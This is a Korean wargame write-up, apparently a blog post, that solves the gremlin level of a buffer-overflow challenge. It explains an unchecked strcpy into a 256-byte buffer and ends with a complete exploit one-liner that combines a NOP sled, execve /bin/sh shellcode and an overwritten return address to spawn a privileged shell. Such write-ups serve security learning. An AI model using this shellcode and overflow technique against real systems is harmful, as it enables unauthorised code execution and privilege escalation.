/home/gate 디렉터리에 들어가보면 gremlin, gremlin.c 파일이 있다.
strcpy함수가 보인다. argv[1]을 buffer로 복사하는데 길이를 체크하지 않기 때문에 오버플로를 낼 수 있다. buffer의 크기는 256이지만 컴파일러가 256만큼 메모리를 잡아준다는 보장이 없기 때문에 버퍼크기를 얼마나 할당해주는지 까봐야한다.
버퍼의 크기를 0x100 (256)만큼 잡아 주었다. 메인함수의 지역변수가 셋팅되고 스택의 모양은
[버퍼_256][SFP][RET] 이다.
버퍼의 크기가 256으로 쉘코드가 들어가기에 충분히 크기 때문에 버퍼에 쉘코드를 넣고 RET를 버퍼의 쉘코드 주소를 넣어줌으로 쉘코드를 실행 시킬 수 있다.
쉘코드는
[ 버퍼 ][SFP][RET]
[\x90*236][24byte shellcode][RET]
로 작성 할 수 있다. 쉘코드는 인터넷에 돌아다니는 24바이트 쉘코드를 사용하였다.
이제 버퍼의 주소만 찾아서 RET 부분에 버퍼안에 \x90의 주소를 덮어 씌우면 된다.
버퍼의 주소를 찾아보자.
프로그램을 실행시켜서 argv를 임의로 입력한 후 버퍼의 메모리의 주소 0xbffffc74
c 코드에 버퍼의 주소를 출력하는 코드를 추가하여 찾은 버퍼의 메모리주소 0xbffffa38
찾아낸 버퍼의 전,후 주소를 RET에 덮고 공격을 시도하면 gremlin의 권한으로 쉘을 얻을 수 있다.
쉘코드 :
./gremlin `python -c 'print "\x90"*236 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x64\xfc\xff\xbf"'`
bash 말고 bash2를 써야 공격이 제대로 성공한다.
답글삭제이유는 bash 에서는 0xff를 0x00으로 인식하는 버그가 있기 때문이다.